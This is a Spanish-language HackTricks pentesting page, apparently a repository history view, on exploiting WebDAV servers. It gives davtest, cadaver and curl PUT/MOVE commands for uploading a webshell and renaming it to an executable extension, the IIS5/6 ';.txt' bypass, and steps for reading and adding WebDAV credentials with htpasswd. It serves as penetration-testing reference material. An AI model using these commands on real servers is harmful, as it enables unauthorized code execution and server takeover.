hacktricks/network-services-pentesting/pentesting-web/put-method-webdav.md

133 lines
9.2 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# WebDav
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-05 18:33:24 +00:00
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-05 18:33:24 +00:00
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Un servidor **HTTP con WebDav** activo es un servidor donde probablemente se puedan **actualizar, eliminar, mover, copiar** archivos. **A veces** necesitará tener **credenciales válidas** (generalmente verifique con la autenticación básica HTTP).
2023-06-05 18:33:24 +00:00
Debe intentar **cargar** algún **webshell** y **ejecutarlo** desde el servidor web para tomar el control del servidor.\
Por lo general, para **conectar** un servidor WebDav necesitará **credenciales válidas**: [**fuerza bruta de WebDav**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) _(Autenticación básica)_.
Otra configuración común es **prohibir la carga** de archivos con **extensiones** que serán **ejecutados** por el servidor web, debe verificar cómo **burlar esto:**
* **Cargar** archivos con **extensiones ejecutables** (tal vez no esté prohibido).
* **Cargar** archivos **sin extensiones ejecutables** (como .txt) e intentar **renombrar** el archivo (mover) con una **extensión ejecutable**.
* **Cargar** archivos **sin extensiones ejecutables** (como .txt) e intentar **copiar** el archivo (mover) con una **extensión ejecutable.**
## DavTest
**Davtest** intenta **cargar varios archivos con diferentes extensiones** y **verifica** si se **ejecuta** la extensión:
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
Salida de ejemplo:
![](<../../.gitbook/assets/image (19) (1) (1).png>)
2023-06-05 18:33:24 +00:00
Esto no significa que las extensiones **.txt** y **.html se estén ejecutando**. Esto significa que puedes **acceder a estos archivos** a través de la web.
## Cadaver
Puedes usar esta herramienta para **conectarte al servidor WebDav** y realizar acciones (como **subir**, **mover** o **eliminar**) **manualmente**.
```
cadaver <IP>
```
## Petición PUT
The HTTP PUT method is used to update a resource on a server. In the context of web applications, this method is often used to update data on a server-side database. However, it can also be used to upload files to a server.
2023-06-05 18:33:24 +00:00
El método HTTP PUT se utiliza para actualizar un recurso en un servidor. En el contexto de las aplicaciones web, este método se utiliza a menudo para actualizar datos en una base de datos del lado del servidor. Sin embargo, también se puede utilizar para cargar archivos en un servidor.
2023-06-05 18:33:24 +00:00
WebDAV servers also support the PUT method, which allows clients to upload files to the server. This can be useful for attackers who want to upload malicious files to a server.
2023-06-05 18:33:24 +00:00
Los servidores WebDAV también admiten el método PUT, que permite a los clientes cargar archivos en el servidor. Esto puede ser útil para los atacantes que desean cargar archivos maliciosos en un servidor.
2023-06-05 18:33:24 +00:00
```
curl -T 'shell.txt' 'http://$ip'
```
## Solicitud MOVE
2023-06-05 18:33:24 +00:00
```
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
![](<../../.gitbook/assets/image (9) (1) (2).png>)
Utilice [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtenga acceso hoy:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Vulnerabilidad WebDav de IIS5/6
2023-06-05 18:33:24 +00:00
Esta vulnerabilidad es muy interesante. El **WebDav** no permite **cargar** o **renombrar** archivos con la extensión **.asp**. Pero puedes **burlar** esto **añadiendo** al final del nombre **";.txt"** y el archivo se **ejecutará** como si fuera un archivo .asp (también puedes **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**).
2023-06-05 18:33:24 +00:00
Luego puedes **cargar** tu shell como un archivo ".**txt"** y **copiar/moverlo a un archivo ".asp;.txt"**. Al acceder a ese archivo a través del servidor web, se **ejecutará** (cadaver dirá que la acción de mover no funcionó, pero sí lo hizo).
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (18) (1) (1).png>)
## Publicar credenciales
Si el Webdav estaba usando un servidor Apache, debería buscar en los sitios configurados en Apache. Comúnmente:\
2023-06-05 18:33:24 +00:00
_**/etc/apache2/sites-enabled/000-default**_
Dentro de él, podría encontrar algo como:
2023-06-05 18:33:24 +00:00
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Como puedes ver, hay archivos con las credenciales válidas para el servidor **webdav**:
```
/etc/apache2/users.password
```
Dentro de este tipo de archivos encontrarás el **nombre de usuario** y un **hash** de la contraseña. Estas son las credenciales que el servidor webdav utiliza para autenticar a los usuarios.
Puedes intentar **descifrar** las credenciales, o **añadir más** si por alguna razón deseas **acceder** al servidor **webdav**:
2023-06-05 18:33:24 +00:00
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Para comprobar si las nuevas credenciales funcionan, puedes hacer lo siguiente:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-05 18:33:24 +00:00
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}